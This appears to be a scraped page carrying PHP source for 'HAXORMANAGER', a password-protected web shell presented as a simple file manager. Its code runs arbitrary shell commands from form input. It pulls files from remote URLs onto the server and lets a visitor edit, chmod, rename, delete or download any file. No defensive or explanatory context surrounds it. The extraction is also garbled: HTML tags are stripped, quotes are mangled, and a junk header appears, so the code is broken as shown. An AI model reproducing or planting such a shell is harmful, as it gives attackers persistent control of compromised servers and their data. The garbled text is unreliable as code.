asgasg

body { background-color: #2c2f33; font-family: Arial, sans-serif; color: #fff; display: flex; justify-content: center; align-items: center; height: 100vh; } form { background-color: #23272a; padding: 20px; border-radius: 5px; box-shadow: 0 0 10px rgba(0,0,0,0.5); text-align: center; } input[type=”password”] { width: 100%; padding: 10px; margin: 10px 0; border: none; border-radius: 3px; } input[type=”submit”] { background-color: #7289da; border: none; padding: 10px 20px; color: white; border-radius: 3px; cursor: pointer; }

Login

‘; exit; } } echo ‘HAXORMANAGER’; echo ”; echo ‘

‘; echo ‘

HAXORMANAGER

‘; echo ‘

This is a simple file manager tool created by HaxorNoname.’; // Command execution form echo ‘

‘; if (isset($_POST[‘cmd’])) { $command = sanitize_input($_POST[‘cmd’]); echo ‘

' . htmlspecialchars(shell_exec($command)) . '

‘; } // Remote upload form echo ‘

‘; if (isset($_POST[‘remote_url’])) { $remote_url = filter_var($_POST[‘remote_url’], FILTER_SANITIZE_URL); if (filter_var($remote_url, FILTER_VALIDATE_URL)) { $file_name = basename($remote_url); if (file_put_contents($file_name, fopen($remote_url, ‘r’))) { echo ‘

Remote file uploaded successfully as ‘ . $file_name . ”; } else { echo ‘

Remote upload failed.’; } } else { echo ‘

Invalid URL.’; } } // File/Folder search form echo ‘

‘; // Display current path $HX = isset($_GET[‘HX’]) ? sanitize_input($_GET[‘HX’]) : getcwd(); $HX = str_replace(‘\\’, ‘/’, $HX); $paths = explode(‘/’, $HX); foreach ($paths as $id => $pat) { if ($pat == ” && $id == 0) { echo ‘/‘; continue; } if ($pat == ”) continue; echo ‘‘.$pat.’/’; } // Create new file or directory form echo ‘

‘; if (isset($_POST[‘create_file’])) { $new_file = $HX . ‘/’ . sanitize_input($_POST[‘new_name’]); if (file_put_contents($new_file, ”) !== false) { echo ‘

File created successfully.’; } else { echo ‘

Failed to create file.’; } } if (isset($_POST[‘create_dir’])) { $new_dir = $HX . ‘/’ . sanitize_input($_POST[‘new_name’]); if (mkdir($new_dir)) { echo ‘

Directory created successfully.’; } else { echo ‘

Failed to create directory.’; } } // File upload form echo ‘

‘; if (isset($_FILES[‘file’])) { $target_file = $HX . ‘/’ . basename($_FILES[‘file’][‘name’]); if (move_uploaded_file($_FILES[‘file’][‘tmp_name’], $target_file)) { echo ‘

File uploaded successfully.’; } else { echo ‘

File upload failed.’; } } // Display file structure echo ”; $scandir = scandir($HX); if (isset($_GET[‘search’])) { $search_query = strtolower($_GET[‘search’]); $scandir = array_filter($scandir, function($file) use ($search_query) { return strpos(strtolower($file), $search_query) !== false; }); } foreach ($scandir as $item) { if ($item == ‘.’ || $item == ‘..’) continue; $path = “$HX/$item”; $isDir = is_dir($path) ? ‘Directory’ : ‘File’; $size = is_file($path) ? filesize($path) : ‘-‘; echo “”; } echo ‘

$isDir$item$sizeEdit | Chmod | Rename | Delete | Download

‘; // File download if (isset($_GET[‘download’])) { $file = $_GET[‘download’]; if (file_exists($file)) { header(‘Content-Description: File Transfer’); header(‘Content-Type: application/octet-stream’); header(‘Content-Disposition: attachment; filename=’.basename($file)); header(‘Expires: 0’); header(‘Cache-Control: must-revalidate’); header(‘Pragma: public’); header(‘Content-Length: ‘ . filesize($file)); flush(); readfile($file); exit; } else { echo ‘

File not found.’; } } // File operations (edit, chmod, rename, delete) if (isset($_GET[‘option’])) { $option = $_GET[‘option’]; $file = $_GET[‘HX’]; if ($option == ‘edit’) { if (isset($_POST[‘new_content’])) { file_put_contents($file, $_POST[‘new_content’]); echo ‘

File edited successfully.’; } echo ‘ ‘.htmlspecialchars(file_get_contents($file)).’

‘; } elseif ($option == ‘chmod’) { if (isset($_POST[‘new_perms’])) { chmod($file, octdec($_POST[‘new_perms’])); echo ‘

Permissions changed successfully.’; } echo ‘

‘; } elseif ($option == ‘rename’) { if (isset($_POST[‘new_name’])) { rename($file, dirname($file) . ‘/’ . $_POST[‘new_name’]); echo ‘

File renamed successfully.’; } echo ‘

‘; } elseif ($option == ‘delete’) { if (is_dir($file)) { rmdir($file); } else { unlink($file); } echo ‘

File deleted successfully.’; } } echo ”; ?>